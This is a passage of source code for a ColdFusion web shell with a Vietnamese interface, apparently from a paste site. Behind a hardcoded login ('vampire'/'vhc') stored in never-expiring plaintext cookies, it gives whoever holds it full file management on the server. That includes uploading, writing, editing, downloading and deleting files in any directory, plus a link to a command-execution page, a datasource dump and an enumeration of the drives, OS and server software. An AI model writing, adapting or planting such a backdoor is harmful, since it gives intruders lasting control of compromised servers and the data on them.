  1361. <cfelse>
  1362.  
  1363.  
  1364. <cfform name="articles" ENCTYPE="multipart/form-data">
  1365.  
  1366.  
  1367. B&##7841;n s&##7869; t&##7841;o th&##432; m&##7909;c m&##7899;i #scr#<cfinput type="text" name="namecreate" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  1368.  
  1369.  
  1370. </cfform>
  1371.  
  1372.  
  1373. <cfif isDefined("namecreate")>
  1374.  
  1375.  
  1376. <cffile action = "write" file = "#scr##namecreate#" output = "">
  1377.  
  1378.  
  1379. <cflocation url="?action=goto&scr=#scr#" addtoken="No">
  1380.  
  1381.  
  1382. </cfif>
  1383.  
  1384.  
  1385. </cfif>
  1386.  
  1387.  
  1388. <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1389.  
  1390.  
  1391. <cfelse>
  1392.  
  1393.  
  1394. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1395.  
  1396.  
  1397. </cfif>
  1398.  
  1399.  
  1400. </cfoutput>
  1401.  
  1402.  
  1403. --->
  1404.  
  1405.  
  1406. <cfoutput>
  1407.  
  1408.  
  1409. <cfif isDefined("scr")>
  1410.  
  1411.  
  1412. <cfdirectory action="list" directory="#scr#" name="fileList">
  1413.  
  1414.  
  1415. <script language="JavaScript" type="text/javascript">
  1416.  
  1417.  
  1418. var fileArray = new Array(<cfoutput>#quotedValueList(fileList.name)#</cfoutput>);
  1419.  
  1420.  
  1421. function sTrim(sVariable)
  1422.  
  1423.  
  1424. {
  1425.  
  1426.  
  1427. return sVariable.replace(/^\s+|\s+$/g,"");
  1428.  
  1429.  
  1430. }
  1431.  
  1432.  
  1433. function validateFields(form)
  1434.  
  1435.  
  1436. {
  1437.  
  1438.  
  1439. var fileCount = 0;
  1440.  
  1441.  
  1442. var re = /.txt$|.cfm$|.cfml$|.htm|.html$/;
  1443.  
  1444.  
  1445. if (sTrim(form.fileName.value) == "")
  1446.  
  1447.  
  1448. {
  1449.  
  1450.  
  1451. alert('Can nhap ten tep');
  1452.  
  1453.  
  1454. form.fileName.focus();
  1455.  
  1456.  
  1457. return false;
  1458.  
  1459.  
  1460. }
  1461.  
  1462.  
  1463. if (form.fileName.value.search(re) < 0)
  1464.  
  1465.  
  1466. {
  1467.  
  1468.  
  1469. alert('Khong chap nhan tep loai nay!\n\n Chi chap nhan .cfm, .cfml, .htm, .html, va .txt!');
  1470.  
  1471.  
  1472. form.fileName.focus();
  1473.  
  1474.  
  1475. form.fileName.select();
  1476.  
  1477.  
  1478. return false;
  1479.  
  1480.  
  1481. }
  1482.  
  1483.  
  1484. for (var i=0; i<fileArray.length; i++)
  1485.  
  1486.  
  1487. {
  1488.  
  1489.  
  1490. if (sTrim(form.fileName.value) == fileArray[i])
  1491.  
  1492.  
  1493. {
  1494.  
  1495.  
  1496. fileCount++;
  1497.  
  1498.  
  1499. }
  1500.  
  1501.  
  1502. }
  1503.  
  1504.  
  1505. if (fileCount > 0)
  1506.  
  1507.  
  1508. {
  1509.  
  1510.  
  1511. alert('Ten nay da ton tai, vui long chon tep khac');
  1512.  
  1513.  
  1514. form.fileName.focus();
  1515.  
  1516.  
  1517. form.fileName.select();
  1518.  
  1519.  
  1520. return false;
  1521.  
  1522.  
  1523. }
  1524.  
  1525.  
  1526. return true;
  1527.  
  1528.  
  1529. }
  1530.  
  1531.  
  1532. </script>
  1533.  
  1534.  
  1535. <form action="?action=save&scr=#scr#" method="post" onsubmit="return validateFields(this);">
  1536.  
  1537.  
  1538. <input type="hidden" name="action_type" value="add" />
  1539.  
  1540.  
  1541. <table border="0" style="width:400px;">
  1542.  
  1543.  
  1544. <tr>
  1545.  
  1546.  
  1547. <td style="font-weight:bold;" nowrap="nowrap">
  1548.  
  1549.  
  1550. T&##234;n t&##7879;p:&nbsp;&nbsp;
  1551.  
  1552.  
  1553. </td>
  1554.  
  1555.  
  1556. <td>
  1557.  
  1558.  
  1559. <input type="text" name="fileName" style="font-family:verdana; font-size:11px; width:316px;" />
  1560.  
  1561.  
  1562. </td>
  1563.  
  1564.  
  1565. </tr>
  1566.  
  1567.  
  1568. <tr>
  1569.  
  1570.  
  1571. <td style="font-weight:bold;" nowrap="nowrap">
  1572.  
  1573.  
  1574. N&##7897;i dung:&nbsp;&nbsp;
  1575.  
  1576.  
  1577. </td>
  1578.  
  1579.  
  1580. <td colspan="2">
  1581.  
  1582.  
  1583. <textarea name="fileContent" style="font-family:verdana; font-size:11px; height:250px; width:600px;"></textarea>
  1584.  
  1585.  
  1586. </td>
  1587.  
  1588.  
  1589. </tr>
  1590.  
  1591.  
  1592. <tr>
  1593.  
  1594.  
  1595. <td colspan="2" style="text-align:right;">
  1596.  
  1597.  
  1598. <input type="submit" value="T&##7841;o t&##7879;p" style="font-family:verdana; font-size:11px;" />
  1599.  
  1600.  
  1601. </td>
  1602.  
  1603.  
  1604. </tr>
  1605.  
  1606.  
  1607. </table>
  1608.  
  1609.  
  1610. </form>
  1611.  
  1612.  
  1613. <a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1614.  
  1615.  
  1616. <cfelse>
  1617.  
  1618.  
  1619. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1620.  
  1621.  
  1622. </cfif>
  1623.  
  1624.  
  1625. </cfoutput>
  1626.  
  1627.  
  1628. <cfelseif action is "newd">
  1629.  
  1630.  
  1631. <cfoutput>
  1632.  
  1633.  
  1634. <cfif isDefined("scr")>
  1635.  
  1636.  
  1637. <cfform name="articles" ENCTYPE="multipart/form-data">
  1638.  
  1639.  
  1640. B&##7841;n s&##7869; t&##7841;o th&##432; m&##7909;c m&##7899;i #scr#<cfinput type="text" name="namecreate" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  1641.  
  1642.  
  1643. </cfform>
  1644.  
  1645.  
  1646. <cfif isDefined("namecreate")>
  1647.  
  1648.  
  1649. <cfdirectory directory= "#scr##namecreate#" action="create">
  1650.  
  1651.  
  1652. <cflocation url="?action=goto&scr=#scr#" addtoken="No">
  1653.  
  1654.  
  1655. </cfif>
  1656.  
  1657.  
  1658. <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1659.  
  1660.  
  1661. <cfelse>
  1662.  
  1663.  
  1664. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1665.  
  1666.  
  1667. </cfif>
  1668.  
  1669.  
  1670. </cfoutput>
  1671.  
  1672.  
  1673. <cfelseif action is "upload">
  1674.  
  1675.  
  1676. <cfoutput>
  1677.  
  1678.  
  1679. <cfif isDefined("scr")>
  1680.  
  1681.  
  1682. <cfform enctype="multipart/form-data" method="post">
  1683.  
  1684.  
  1685. B&##7841;n s&##7869; t&##7843;i t&##7879;p l&##234;n th&##432; m&##7909;c : <font color="red">#scr#</font><br>
  1686.  
  1687.  
  1688. Ch&##7885;n t&##7879;p mu&##7889;n t&##7843;i: <input type="file" size="80" name="fileup" /> <input type="submit" value="T&##7843;i l&##234;n" /><br/>
  1689.  
  1690.  
  1691. </cfform>
  1692.  
  1693.  
  1694. <cfif isDefined("fileup")>
  1695.  
  1696.  
  1697. <cffile action="upload" fileField="fileup" destination="#scr#" nameconflict="overwrite">
  1698.  
  1699.  
  1700. <cflocation url="?action=goto&scr=#scr#" addtoken="No">
  1701.  
  1702.  
  1703. </cfif>
  1704.  
  1705.  
  1706. <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1707.  
  1708.  
  1709. <cfelse>
  1710.  
  1711.  
  1712. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1713.  
  1714.  
  1715. </cfif>
  1716.  
  1717.  
  1718. </cfoutput>
  1719.  
  1720.  
  1721. <cfelseif action is "datainfo">
  1722.  
  1723.  
  1724. <cfoutput>
  1725.  
  1726.  
  1727. <cfdump var="#DataSoureceInfo#">
  1728.  
  1729.  
  1730. <a href="?action=goto&scr=#GetDirectoryFromPath(GetTemplatePath())#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1731.  
  1732.  
  1733. </cfoutput>
  1734.  
  1735.  
  1736. <cfelseif action is "save">
  1737.  
  1738.  
  1739. <cfoutput>
  1740.  
  1741.  
  1742. <cfif isDefined("form.fileName")>
  1743.  
  1744.  
  1745. <title>&##272;&##227; l&##432;u t&##7879;p</title>
  1746.  
  1747.  
  1748. <cffile action="write" file="#scr#\#form.fileName#" output="#form.fileContent#" addnewline="no">
  1749.  
  1750.  
  1751. &##272;&##227; <cfif form.action_type IS "edit">s&##7917;a<cfelse>t&##7841;o</cfif> th&##224;nh c&##244;ng t&##7879;p <span style="font-weight:bold;">#form.fileName#</span>.<br>
  1752.  
  1753.  
  1754. <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1755.  
  1756.  
  1757. <cfelse>
  1758.  
  1759.  
  1760. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1761.  
  1762.  
  1763. </cfif>
  1764.  
  1765.  
  1766. </cfoutput>
  1767.  
  1768.  
  1769. </cfif>
  1770.  
  1771.  
  1772. <cfelse>
  1773.  
  1774.  
  1775. <cfset action = "goto">
  1776.  
  1777.  
  1778. </cfif>
  1779.  
  1780.  
  1781.  
  1782.  
  1783.  
  1784.  
  1785.  
  1786.  
  1787.  
  1788.  
  1789.  
  1790.  
  1791.  
  1792.  
  1793.  
  1794.  
  1795.  
  1796.  
  1797.  
  1798.  
  1799.  
  1800.  
  1801.  
  1802.  
  1803.  
  1804.  
  1805.  
  1806.  
  1807.  
  1808.  
  1809.  
  1810.  
  1811.  
  1812.  
  1813.  
  1814.  
  1815.  
  1816.  
  1817.  
  1818.  
  1819.  
  1820. <cfif action is "goto" or action is "del" or action is "deld">
  1821.  
  1822.  
  1823. <cfoutput>
  1824.  
  1825.  
  1826. <center><a href="javascript:doMenu('thongtin');" id=xthongtin>[-]</a>Th&##244;ng tin m&##225;y ch&##7911;:</center>
  1827.  
  1828.  
  1829. <div id="thongtin">
  1830.  
  1831.  
  1832. <!--- Lay thong tin ip --->
  1833.  
  1834.  
  1835. <cfif #cgi.http_x_forwarded_for# eq "">
  1836.  
  1837.  
  1838. <cfset clientip="#cgi.remote_addr#">
  1839.  
  1840.  
  1841. <cfelse>
  1842.  
  1843.  
  1844. <cfset clientip="#cgi.http_x_forwarded_for#">
  1845.  
  1846.  
  1847. </cfif>
  1848.  
  1849.  
  1850. <!--- In thong tin server --->
  1851.  
  1852.  
  1853. Server IP: <font color="red">#CGI.HTTP_HOST#:#CGI.SERVER_PORT#</font> - Client IP: <font color="red">#clientip#</font><br>
  1854.  
  1855.  
  1856. Gateway Interface: <font color="red">#CGI.GATEWAY_INTERFACE#</font> - Server Name: <font color="red">#CGI.SERVER_NAME#:#CGI.SERVER_PORT#</font><br>
  1857.  
  1858.  
  1859. Server Protocol: <font color="red">#CGI.SERVER_PROTOCOL#</font> - Server Software: <font color="red">#CGI.SERVER_SOFTWARE#</font><br>
  1860.  
  1861.  
  1862. Server Coldfusion:<br>
  1863.  
  1864.  
  1865. *) Appserver: <font color="red">#server.coldfusion.appserver#</font> - Expiration: <font color="red">#DateFormat(server.coldfusion.expiration, "d/m/yy")# #TimeFormat(server.coldfusion.expiration, "HH:mm:ss")#</font><br>
  1866.  
  1867.  
  1868. *) Product Name: <font color="red">#server.coldfusion.productname#</font> - Product Level: <font color="red">#server.coldfusion.productlevel#</font> - Product Version: <font color="red">#server.coldfusion.productversion#</font><br>
  1869.  
  1870.  
  1871. *) Server OS Arch: <font color="red">#server.os.arch#</font> - Server OS Name: <font color="red">#server.os.name#</font> - Server OS Version: <font color="red">#server.os.version#</font><br>
  1872.  
  1873.  
  1874. </div>
  1875.  
  1876.  
  1877. <hr>
  1878.  
  1879.  
  1880. <!--- Thu tao Object --->
  1881.  
  1882.  
  1883. <cftry>
  1884.  
  1885.  
  1886. <cfobject type="com" class="scripting.filesystemobject" name="fso" action="connect">
  1887.  
  1888.  
  1889. <cfcatch type="any">
  1890.  
  1891.  
  1892. <cfobject type="com" class="scripting.filesystemobject" name="fso" action="create">
  1893.  
  1894.  
  1895. </cfcatch>
  1896.  
  1897.  
  1898. </cftry>
  1899.  
  1900.  
  1901. <!--- Lay toan bo thong tin drives--->
  1902.  
  1903.  
  1904. <CFSET Drives = FSO.Drives>
  1905.  
  1906.  
  1907. <!--- Danh so thu tu drives --->
  1908.  
  1909.  
  1910. <center><a href="javascript:doMenu('drives');" id=xdrives>[-]</a>Th&##244;ng tin &##7893; c&##7913;ng:</center>
  1911.  
  1912.  
  1913. <div id="drives">
  1914.  
  1915.  
  1916. <center>T&##7893;ng s&##7889; &##7893; &##273;&##297;a : #Drives.Count#<br></center>
  1917.  
  1918.  
  1919. <!--- Tao bang de hien thi thong tin --->
  1920.  
  1921.  
  1922. <table align=center border="1" cellspacing="1" cellpadding="5">
  1923.  
  1924.  
  1925. <tr>
  1926.  
  1927.  
  1928. <td align=center>&##7892; &##273;&##297;a</td>
  1929.  
  1930.  
  1931. <td align=center>&##272;&##432;&##7901;ng d&##7851;n</td>
  1932.  
  1933.  
  1934. <td align=center>T&##7893;ng dung l&##432;&##7907;ng</td>
  1935.  
  1936.  
  1937. <td align=center>Dung l&##432;&##7907;ng tr&##7889;ng</td>
  1938.  
  1939.  
  1940. <!---<td align=center>Dung l&##432;&##7907;ng c&##243; th&##7875; s&##7917; d&##7909;ng</td>
  1941.  
  1942.  
  1943. <td align=center>S&##7889; Serial</td>--->
  1944.  
  1945.  
  1946. <td align=center>Lo&##7841;i</td>
  1947.  
  1948.  
  1949. <td align=center>S&##7861;n s&##224;ng?</td>
  1950.  
  1951.  
  1952. <td align=center>T&##234;n</td>
  1953.  
  1954.  
  1955. <td align=center>&##272;&##7883;nh d&##7841;ng</td>
  1956.  
  1957.  
  1958. </tr>
  1959.  
  1960.  
  1961. <!--- This is a COM collection so we cant use conditional loops, index loops and other loops.ColdFusion provides us a nice way of looping over COM collections so we are using that here .--->
  1962.  
  1963.  
  1964. <cfloop collection="#drives#" item="this">
  1965.  
  1966.  
  1967. <!--- Bo cau truc cfif duoi neu khong co o dia mem --->
  1968.  
  1969.  
  1970. <cfif this.DriveLetter is not "A">
  1971.  
  1972.  
  1973. <tr>
  1974.  
  1975.  
  1976. <!--- Hien thi Drive Letter --->
  1977.  
  1978.  
  1979. <td align=center>
  1980.  
  1981.  
  1982. <a href="?action=goto&scr=#this.path#\">#this.DriveLetter#</a>
  1983.  
  1984.  
  1985. </td>
  1986.  
  1987.  
  1988. <!--- Hien thi duong dan --->
  1989.  
  1990.  
  1991. <td align=center>
  1992.  
  1993.  
  1994. <a href="?action=goto&scr=#this.path#\">#this.path#\</a>
  1995.  
  1996.  
  1997. </td>
  1998.  
  1999.  
  2000. <!--- Hien thi tong dung luong --->
  2001.  
  2002.  
  2003. <td align=center>
  2004.  
  2005.  
  2006. <cfif this.isReady AND ISDefined("this.TotalSize")>
  2007.  
  2008.  
  2009. #NumberFormat(round(evaluate(this.TotalSize/1024/1024)))# MB
  2010.  
  2011.  
  2012. </cfif>
  2013.  
  2014.  
  2015. </td>
  2016.  
  2017.  
  2018. <!--- Hien thi dung luong trong --->
  2019.  
  2020.  
  2021. <td align=center>
  2022.  
  2023.  
  2024. <cfif this.isReady AND ISNumeric(this.FreeSpace)>
  2025.  
  2026.  
  2027. #NumberFormat(round(evaluate(this.FreeSpace/1024/1024)))# MB
  2028.  
  2029.  
  2030. </cfif>
  2031.  
  2032.  
  2033. </td>
  2034.  
  2035.  
  2036. <!--- Hien thi dung luong co the su dung
  2037.  
  2038.  
  2039. <td align=center>
  2040.  
  2041.  
  2042. <cfif this.isReady AND IsNumeric(this.AvailableSpace)>
  2043.  
  2044.  
  2045. #NumberFormat(round(evaluate(this.AvailableSpace/1024/1024)))# MB
  2046.  
  2047.  
  2048. </cfif>
  2049.  
  2050.  
  2051. </td>
  2052.  
  2053.  
  2054. --->
  2055.  
  2056.  
  2057. <!--- Hien thi so serial
  2058.  
  2059.  
  2060. <td align=center>
  2061.  
  2062.  
  2063. <cfif this.isReady AND LEN(this.SerialNumber)>
  2064.  
  2065.  
  2066. #this.SerialNumber#
  2067.  
  2068.  
  2069. </cfif>
  2070.  
  2071.  
  2072. </td>
  2073.  
  2074.  
  2075. --->
  2076.  
  2077.  
  2078. <!--- These are the constants returned by Drive.DriveTypeConst DriveTypeRemovable = 1, Const DriveTypeFixed = 2, Const DriveTypeNetwork = 3, Const DriveTypeCDROM = 4, Const DriveTypeRAMDisk = 5, So we'll use cfswitch statements to display the actual type --->
  2079.  
  2080.  
  2081. <td align=center>
  2082.  
  2083.  
  2084. <cfswitch expression="#this.DriveType#">
  2085.  
  2086.  
  2087. <cfcase value="1">R&##7901;i</cfcase>
  2088.  
  2089.  
  2090. <cfcase value="2">C&##7889; &##273;&##7883;nh</cfcase>
  2091.  
  2092.  
  2093. <cfcase value="3">M&##7841;ng</cfcase>
  2094.  
  2095.  
  2096. <cfcase value="4">&##7892; CD</cfcase>
  2097.  
  2098.  
  2099. <cfcase value="5">&##272;&##297;a nh&##7899; Ram</cfcase>
  2100.  
  2101.  
  2102. <cfdefaultcase>Kh&##244;ng bi&##7871;t</cfdefaultcase>
  2103.  
  2104.  
  2105. </cfswitch>
  2106.  
  2107.  
  2108. </td>
  2109.  
  2110.  
  2111. <!--- Hien thi drive da san sang --->
  2112.  
  2113.  
  2114. <td align=center>
  2115.  
  2116.  
  2117. #this.isReady#
  2118.  
  2119.  
  2120. </td>
  2121.  
  2122.  
  2123. <!--- Here we have to display the drive name. Before that, we willcheck if it is a network drive or not. If it is a network drive, then we display the 'sharename'; otherwise, we display the 'volumename'. --->
  2124.  
  2125.  
  2126. <td align=center>
  2127.  
  2128.  
  2129. <cfif this.isReady>
  2130.  
  2131.  
  2132. <cfif this.DriveType IS "3">
  2133.  
  2134.  
  2135. <!--- #this.ShareName# --->
  2136.  
  2137.  
  2138. <cfelse>
  2139.  
  2140.  
  2141. #this.VolumeName#
  2142.  
  2143.  
  2144. </cfif>
  2145.  
  2146.  
  2147. </cfif>
  2148.  
  2149.  
  2150. </td>
  2151.  
  2152.  
  2153. <!--- Hien thi dinh dang --->
  2154.  
  2155.  
  2156. <td align=center>
  2157.  
  2158.  
  2159. <cfif this.isReady>
  2160.  
  2161.  
  2162. #this.FileSystem#
  2163.  
  2164.  
  2165. </cfif>
  2166.  
  2167.  
  2168. </td>
  2169.  
  2170.  
  2171. </tr>
  2172.  
  2173.  
  2174. </cfif>
  2175.  
  2176.  
  2177. </cfloop>
  2178.  
  2179.  
  2180. </table>
  2181.  
  2182.  
  2183. </div>
  2184.  
  2185.  
  2186. <hr>
  2187.  
  2188.  
  2189. <center><a href="javascript:doMenu('congcu');" id=xcongcu>[-]</a>C&##244;ng c&##7909;:</center>
  2190.  
  2191.  
  2192. <div id="congcu">
  2193.  
  2194.  
  2195. Th&##432; m&##7909;c hi&##7879;n t&##7841;i: <font color="red">#dir#</font><br>
  2196.  
  2197.  
  2198. H&##224;nh &##273;&##7897;ng: <a href="?action=new&scr=#dir#">T&##7841;o t&##7879;p</a> - <a href="?action=newd&scr=#dir#">T&##7841;o th&##432; m&##7909;c</a> - <a href="?action=upload&scr=#dir#" title="T&##7843;i l&##234;n m&##7897;t t&##7879;p t&##7915; m&##225;y t&##237;nh c&##7911;a b&##7841;n">T&##7843;i l&##234;n</a> - <a href="?" title="Tr&##7903; v&##7873; th&##432; m&##7909;c ch&##7913;a Shell">Th&##432; m&##7909;c g&##7889;c</a><br>
  2199.  
  2200.  
  2201. C&##244;ng c&##7909;: <a href="?action=cmd" title="Th&##7921;c thi l&##7879;nh Command Dos">CMD</a> - <a href="?action=datainfo" title="Th&##244;ng tin C&##417; S&##7903; D&##7919; Li&##7879;u">Th&##244;ng tin v&##7873; c&##225;c CSDL</a>
  2202.  
  2203.  
  2204. </div>
  2205.  
  2206.  
  2207. <hr>
  2208.  
  2209.  
  2210. <center><a href="javascript:doMenu('thumuc');" id=xthumuc>[-]</a>Th&##432; m&##7909;c:</center>
  2211.  
  2212.  
  2213. <div id="thumuc">
  2214.  
  2215.  
  2216. </cfoutput>
  2217.  
  2218.  
  2219. <cfdirectory directory="#dir#" name="myDirectory" sort="type ASC" >
  2220.  
  2221.  
  2222. <table width="100%" border="0" align="center">
  2223.  
  2224.  
  2225. <tr>
  2226.  
  2227.  
  2228. <td width="35%"><strong>T&#234;n</strong></td>
  2229.  
  2230.  
  2231. <td width="10%" align="center"><strong>K&#237;ch Th&#432;&#7899;c</strong></td>
  2232.  
  2233.  
  2234. <td width="20%" align="center"><strong>ModifyTime</strong></td>
  2235.  
  2236.  
  2237. <td width="5%" align="center"><strong>Chmod</strong></td>
  2238.  
  2239.  
  2240. <td width="5%" align="center"><strong>Mode</strong></td>
  2241.  
  2242.  
  2243. <td width="25%" align="center"><strong>H&#224;nh &#273;&#7897;ng</strong></td>
  2244.  
  2245.  
  2246. </tr>
  2247.  
  2248.  
  2249. <cfoutput>
  2250.  
  2251.  
  2252. <cfif len(dir) gt 3>
  2253.  
  2254.  
  2255. <tr>
  2256.  
  2257.  
  2258. <cfset updir = #dir#>
  2259.  
  2260.  
  2261. <cfset updir = #RemoveChars(updir, len(updir), 1)#>
  2262.  
  2263.  
  2264. <cfloop condition = "Right(updir, 1) neq '\'">
  2265.  
  2266.  
  2267. <cfset updir = #RemoveChars(updir, len(updir), 1)#>
  2268.  
  2269.  
  2270. </cfloop>
  2271.  
  2272.  
  2273. <td width="20%"><strong><a href="?action=goto&scr=#updir#">Tr&##7903; v&##7873; th&##432; m&##7909;c tr&##432;&##7899;c..</a></strong></td>
  2274.  
  2275.  
  2276. </tr>
  2277.  
  2278.  
  2279. </cfif>
  2280.  
  2281.  
  2282. </cfoutput>
  2283.  
  2284.  
  2285. <cfoutput query="myDirectory">
  2286.  
  2287.  
  2288. <tr>
  2289.  
  2290.  
  2291. <td>
  2292.  
  2293.  
  2294. <cfif #Type# is "Dir">
  2295.  
  2296.  
  2297. <a href="?action=goto&scr=#dir##Name#\">#Name#</a>
  2298.  
  2299.  
  2300. <cfelse>
  2301.  
  2302.  
  2303. #Name#
  2304.  
  2305.  
  2306. </cfif>
  2307.  
  2308.  
  2309. </td>
  2310.  
  2311.  
  2312. <td align="center">
  2313.  
  2314.  
  2315. <cfif #type# is "Dir">
  2316.  
  2317.  
  2318. &lt;Dir&gt;
  2319.  
  2320.  
  2321. <cfelseif #Size# LT 1024>
  2322.  
  2323.  
  2324. #Size# B
  2325.  
  2326.  
  2327. <cfelseif #Size# LT 1024*1024>
  2328.  
  2329.  
  2330. #round(Size/1024)# KB
  2331.  
  2332.  
  2333. <cfelseif #Size# LT 1024*1024*1024>
  2334.  
  2335.  
  2336. #round(Size/1024/1024)# MB
  2337.  
  2338.  
  2339. <cfelseif #Size# LT 1024*1024*1024*1024>
  2340.  
  2341.  
  2342. #round(Size/1024/1024/1024)# GB
  2343.  
  2344.  
  2345. <cfelseif #Size# LT 1024*1024*1024*1024*1024>
  2346.  
  2347.  
  2348. #round(Size/1024/1024/1024/1024)# TB
  2349.  
  2350.  
  2351. </cfif>
  2352.  
  2353.  
  2354. </td>
  2355.  
  2356.  
  2357. <td align="center">
  2358.  
  2359.  
  2360. #DateFormat(DateLastModified, "d/m/yy")# #TimeFormat(DateLastModified, "HH:mm:ss")#
  2361.  
  2362.  
  2363. </td>
  2364.  
  2365.  
  2366. <td align="center">#Attributes#</td>
  2367.  
  2368.  
  2369. <td align="center">#Mode#</td>
  2370.  
  2371.  
  2372. <td>
  2373.  
  2374.  
  2375. <cfif #Type# is "File">
  2376.  
  2377.  
  2378. <a href="?action=edit&scr=#dir##Name#">S&##7917;a</a>|<a href="?action=cut&scr=#dir##Name#">C&##7855;t</a>|<a href="?action=copy&scr=#dir##Name#">Ch&##233;p</a>|<a href="?action=rename&scr=#dir##Name#">&##272;&##7893;i t&##234;n</a>|<a href="?action=down&scr=#dir##Name#">T&##7843;i v&##7873;</a>|<a href="?action=del&scr=#dir##Name#" onCLick="return confirm('Ban co chac la muon xoa tep #Name# ko?')">X&##243;a</a>
  2379.  
  2380.  
  2381. <cfelse>
  2382.  
  2383.  
  2384. <a href="?action=cutd&scr=#dir##Name#\">C&##7855;t</a>|<a href="?action=copyd&scr=#dir##Name#\">Ch&##233;p</a>|<a href="?action=renamed&scr=#dir##Name#\">&##272;&##7893;i t&##234;n</a>|<a href="?action=deld&scr=#dir##Name#\" onCLick="return confirm('Ban co chac la muon xoa thu muc #Name# ko?')">X&##243;a</a>
  2385.  
  2386.  
  2387. </cfif>
  2388.  
  2389.  
  2390. </td>
  2391.  
  2392.  
  2393. </tr>
  2394.  
  2395.  
  2396. </cfoutput>
  2397.  
  2398.  
  2399. </table>
  2400.  
  2401.  
  2402. </div>
  2403.  
  2404.  
  2405. </cfif>
  2406.  
  2407.  
  2408.  
  2409.  
  2410.  
  2411.  
  2412.  
  2413.  
  2414.  
  2415.  
  2416.  
  2417.  
  2418.  
  2419.  
  2420.  
  2421.  
  2422.  
  2423.  
  2424.  
  2425.  
  2426.  
  2427.  
  2428.  
  2429.  
  2430.  
  2431.  
  2432. <!--- End Main --->
  2433.  
  2434.  
  2435.  
  2436.  
  2437.  
  2438.  
  2439.  
  2440.  
  2441.  
  2442.  
  2443.  
  2444.  
  2445.  
  2446.  
  2447. <cfelseif Not IsDefined("cookie.username")>
  2448.  
  2449.  
  2450. <cfform name="articles" ENCTYPE="multipart/form-data">
  2451.  
  2452.  
  2453. <center><table width="300" border="0">
  2454.  
  2455.  
  2456. <tr>
  2457.  
  2458.  
  2459. <td width="50">T&#224;i kho&#7843;n:</td>
  2460.  
  2461.  
  2462. <td width="50"><input type="text" name="username"></td>
  2463.  
  2464.  
  2465. </tr>
  2466.  
  2467.  
  2468. <tr>
  2469.  
  2470.  
  2471. <td width="50">M&#7853;t kh&#7849;u:</td>
  2472.  
  2473.  
  2474. <td width="50"><input type="password" name="password"></td>
  2475.  
  2476.  
  2477. </tr>
  2478.  
  2479.  
  2480. <tr>
  2481.  
  2482.  
  2483. <td width="50">Ghi nh&#7899;:</td>
  2484.  
  2485.  
  2486. <td width="50">
  2487.  
  2488.  
  2489. <input type="checkbox" name="RememberMe" value="Yes" checked>
  2490.  
  2491.  
  2492. <input type="submit" name="Process" value="&#272;&#259;ng nh&#7853;p">
  2493.  
  2494.  
  2495. </td>
  2496.  
  2497.  
  2498. </tr>
  2499.  
  2500.  
  2501. </table></center>
  2502.  
  2503.  
  2504. </cfform>
  2505.  
  2506.  
  2507. <cfif IsDefined("username")>
  2508.  
  2509.  
  2510. <cfset member_username = "vampire">
  2511.  
  2512.  
  2513. <cfset member_password = "vhc">
  2514.  
  2515.  
  2516. <cfif #username# neq #member_username#>
  2517.  
  2518.  
  2519. <center>T&#224;i kho&#7843;n n&#224;y kh&#244;ng t&#7891;n t&#7841;i!</center>
  2520.  
  2521.  
  2522. <cfset structclear(cookie)>
  2523.  
  2524.  
  2525. <cfelseif (#password# neq #member_password#)>
  2526.  
  2527.  
  2528. <center>M&#7853;t kh&#7849;u kh&#244;ng ch&#237;nh x&#225;c!</center>
  2529.  
  2530.  
  2531. <cfset structclear(cookie)>
  2532.  
  2533.  
  2534. <cfelse>
  2535.  
  2536.  
  2537. <cfif IsDefined("RememberMe")>
  2538.  
  2539.  
  2540. <cfcookie name="username" value="#form.username#" expires="NEVER">
  2541.  
  2542.  
  2543. <cfcookie name="password" value="#form.password#" expires="NEVER">
  2544.  
  2545.  
  2546. <cfelse>
  2547.  
  2548.  
  2549. <cfcookie name="username" value="#form.username#">
  2550.  
  2551.  
  2552. <cfcookie name="password" value="#form.password#">
  2553.  
  2554.  
  2555. </cfif>
  2556.  
  2557.  
  2558. <cflocation url="?" addtoken="No">
  2559.  
  2560.  
  2561. </cfif>
  2562.  
  2563.  
  2564. </cfif>
  2565.  
  2566.  
  2567. </cfif>
  2568.  
  2569.  
  2570.  
  2571.  
  2572.  
  2573.  
  2574.  
  2575.  
  2576.  
  2577.  
  2578.  
  2579.  
  2580.  
  2581.  
  2582.  
  2583.  
  2584.  
  2585.  
  2586.  
  2587.  
  2588. <!--- End Login --->
  2589.  
  2590.  
  2591.  
  2592.  
  2593.  
  2594.  
  2595.  
  2596.  
  2597.  
  2598.  
  2599.  
  2600.  
  2601.  
  2602.  
  2603.  
  2604.  
  2605.  
  2606. <hr>
  2607.  
  2608.  
  2609. </body>
  2610.  
  2611.  
  2612. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement